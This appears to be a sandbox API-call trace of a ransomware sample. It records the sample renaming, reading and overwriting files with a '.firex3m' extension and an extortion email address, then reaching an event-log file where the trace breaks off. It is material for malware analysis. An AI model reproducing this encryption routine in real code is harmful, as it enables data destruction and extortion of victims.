[0088.057] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0088.058] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.058] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d51c0 [0088.058] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0088.058] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0088.058] GetProcessHeap () returned 0x630000 [0088.058] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x725d78 [0088.058] GetProcessHeap () returned 0x630000 [0088.058] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x726b68 [0088.058] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.058] ReadFile (in: hFile=0x68c, lpBuffer=0x725d78, nNumberOfBytesToRead=0xdc0, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x725d78*, lpNumberOfBytesRead=0x323ff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0088.100] GetProcessHeap () returned 0x630000 [0088.100] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8dc0 [0088.100] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.100] WriteFile (in: hFile=0x68c, lpBuffer=0x726b68*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x726b68*, lpNumberOfBytesWritten=0x323ff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0088.100] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.100] WriteFile (in: hFile=0x68c, lpBuffer=0x727927*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727927*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0088.101] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.101] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0088.101] CloseHandle (hObject=0x68c) returned 1 [0088.102] GetProcessHeap () returned 0x630000 [0088.102] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x726b68 | out: hHeap=0x630000) returned 1 [0088.102] GetProcessHeap () returned 0x630000 [0088.102] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x725d78 | out: hHeap=0x630000) returned 1 [0088.102] GetProcessHeap () returned 0x630000 [0088.102] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8dc0 | out: hHeap=0x630000) returned 1 [0088.102] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.102] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xfa7502eb, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xdea, dwReserved0=0xc0c7496, dwReserved1=0x725d70, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5000 [0088.102] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0088.102] Sleep (dwMilliseconds=0x1) [0089.479] Sleep (dwMilliseconds=0x1) [0090.838] Sleep (dwMilliseconds=0x1) [0091.963] Sleep (dwMilliseconds=0x1) [0093.729] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico", len=0x2f | out: pbstr=0x323ff7c*="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 1 [0093.729] GetProcessHeap () returned 0x630000 [0093.729] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ff16f0, Size=0x68) returned 0x6977e0 [0093.729] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0093.729] CloseHandle (hObject=0x694) returned 1 [0093.729] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.729] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.730] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.730] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SYSREQ~1.FIR")) returned 0x6d51c0 [0093.730] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0093.730] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0093.730] GetProcessHeap () returned 0x630000 [0093.730] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x481) returned 0x6672f8 [0093.730] GetProcessHeap () returned 0x630000 [0093.730] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x481) returned 0x6ff1840 [0093.730] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.731] ReadFile (in: hFile=0x694, lpBuffer=0x6672f8, nNumberOfBytesToRead=0x460, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesRead=0x323ff0c*=0x460, lpOverlapped=0x0) returned 1 [0093.736] GetProcessHeap () returned 0x630000 [0093.736] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8ca8 [0093.736] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.736] WriteFile (in: hFile=0x694, lpBuffer=0x6ff1840*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff1840*, lpNumberOfBytesWritten=0x323ff0c*=0x460, lpOverlapped=0x0) returned 1 [0093.736] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.736] WriteFile (in: hFile=0x694, lpBuffer=0x6ff1c9f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff1c9f*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0093.736] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.737] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0093.737] CloseHandle (hObject=0x694) returned 1 [0093.737] GetProcessHeap () returned 0x630000 [0093.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ff1840 | out: hHeap=0x630000) returned 1 [0093.737] GetProcessHeap () returned 0x630000 [0093.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0093.737] GetProcessHeap () returned 0x630000 [0093.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8ca8 | out: hHeap=0x630000) returned 1 [0093.738] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.738] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xfdd1da1f, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x4a2, dwReserved0=0xc0c7496, dwReserved1=0x6672f0, cFileName="SysReqNotMet.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SYSREQ~1.FIR")) returned 0x6d51c0 [0093.738] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0093.738] Sleep (dwMilliseconds=0x1) [0093.745] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico", len=0x2c | out: pbstr=0x323ff7c*="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 1 [0093.745] GetProcessHeap () returned 0x630000 [0093.745] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6977e0, Size=0x64) returned 0x697310 [0093.745] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0093.745] CloseHandle (hObject=0x688) returned 1 [0093.745] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.746] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.746] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.746] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SYSREQ~2.FIR")) returned 0x6d5000 [0093.746] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0093.746] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0093.746] GetProcessHeap () returned 0x630000 [0093.746] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x481) returned 0x6672f8 [0093.746] GetProcessHeap () returned 0x630000 [0093.747] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x481) returned 0x6ff1840 [0093.747] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.747] ReadFile (in: hFile=0x688, lpBuffer=0x6672f8, nNumberOfBytesToRead=0x460, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesRead=0x323ff0c*=0x460, lpOverlapped=0x0) returned 1 [0093.753] GetProcessHeap () returned 0x630000 [0093.753] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0093.753] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.753] WriteFile (in: hFile=0x688, lpBuffer=0x6ff1840*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff1840*, lpNumberOfBytesWritten=0x323ff0c*=0x460, lpOverlapped=0x0) returned 1 [0093.753] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.753] WriteFile (in: hFile=0x688, lpBuffer=0x6ff1c9f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff1c9f*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0093.753] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.753] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0093.753] CloseHandle (hObject=0x688) returned 1 [0093.754] GetProcessHeap () returned 0x630000 [0093.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ff1840 | out: hHeap=0x630000) returned 1 [0093.754] GetProcessHeap () returned 0x630000 [0093.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0093.754] GetProcessHeap () returned 0x630000 [0093.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0093.754] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.754] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xfdd43b22, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x4a2, dwReserved0=0xc0c7496, dwReserved1=0x6672f0, cFileName="SysReqMet.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SYSREQ~2.FIR")) returned 0x6d5380 [0093.754] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0093.754] Sleep (dwMilliseconds=0x1) [0093.760] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\588bce7c90097ed212\\Graphics\\stop.ico", len=0x27 | out: pbstr=0x323ff7c*="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 1 [0093.761] GetProcessHeap () returned 0x630000 [0093.761] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x697310, Size=0x60) returned 0x6e8498 [0093.761] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0093.761] CloseHandle (hObject=0x67c) returned 1 [0093.761] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.762] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.762] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.762] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STOPIC~1.FIR")) returned 0x6d54c0 [0093.762] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0093.762] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0093.762] GetProcessHeap () returned 0x630000 [0093.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x27a1) returned 0x6f1d1d8 [0093.763] GetProcessHeap () returned 0x630000 [0093.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x27a1) returned 0x6f1f988 [0093.763] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.763] ReadFile (in: hFile=0x67c, lpBuffer=0x6f1d1d8, nNumberOfBytesToRead=0x2780, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1d1d8*, lpNumberOfBytesRead=0x323ff0c*=0x2780, lpOverlapped=0x0) returned 1 [0095.919] GetProcessHeap () returned 0x630000 [0095.919] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8dc0 [0095.919] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.919] WriteFile (in: hFile=0x67c, lpBuffer=0x6f1f988*, nNumberOfBytesToWrite=0x2780, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1f988*, lpNumberOfBytesWritten=0x323ff0c*=0x2780, lpOverlapped=0x0) returned 1 [0095.920] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.920] WriteFile (in: hFile=0x67c, lpBuffer=0x6f22107*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f22107*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0095.920] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.920] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0095.920] CloseHandle (hObject=0x67c) returned 1 [0095.921] GetProcessHeap () returned 0x630000 [0095.921] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1f988 | out: hHeap=0x630000) returned 1 [0095.921] GetProcessHeap () returned 0x630000 [0095.921] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1d1d8 | out: hHeap=0x630000) returned 1 [0095.921] GetProcessHeap () returned 0x630000 [0095.921] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8dc0 | out: hHeap=0x630000) returned 1 [0095.921] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0095.921] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0xff1fa218, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x27ba, dwReserved0=0xc0c7496, dwReserved1=0x6f1d1d0, cFileName="stop.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STOPIC~1.FIR")) returned 0x6d5500 [0095.921] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0095.922] Sleep (dwMilliseconds=0x1) [0097.925] Sleep (dwMilliseconds=0x1) [0099.478] Sleep (dwMilliseconds=0x1) [0100.793] Sleep (dwMilliseconds=0x1) [0101.516] Sleep (dwMilliseconds=0x1) [0102.157] Sleep (dwMilliseconds=0x1) [0102.381] Sleep (dwMilliseconds=0x1) [0102.542] Sleep (dwMilliseconds=0x1) [0102.776] Sleep (dwMilliseconds=0x1) [0102.986] Sleep (dwMilliseconds=0x1) [0103.135] Sleep (dwMilliseconds=0x1) [0103.269] Sleep (dwMilliseconds=0x1) [0103.547] Sleep (dwMilliseconds=0x1) [0105.030] Sleep (dwMilliseconds=0x1) [0106.918] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Logs\\Windows PowerShell.evtx", len=0x1f | out: pbstr=0x323ff7c*="C:\\Logs\\Windows PowerShell.evtx") returned 1 [0106.921] GetProcessHeap () returned 0x630000 [0106.921] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed5e08, Size=0x2c) returned 0x6ed6000 [0106.921] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0106.964] CloseHandle (hObject=0x694) returned 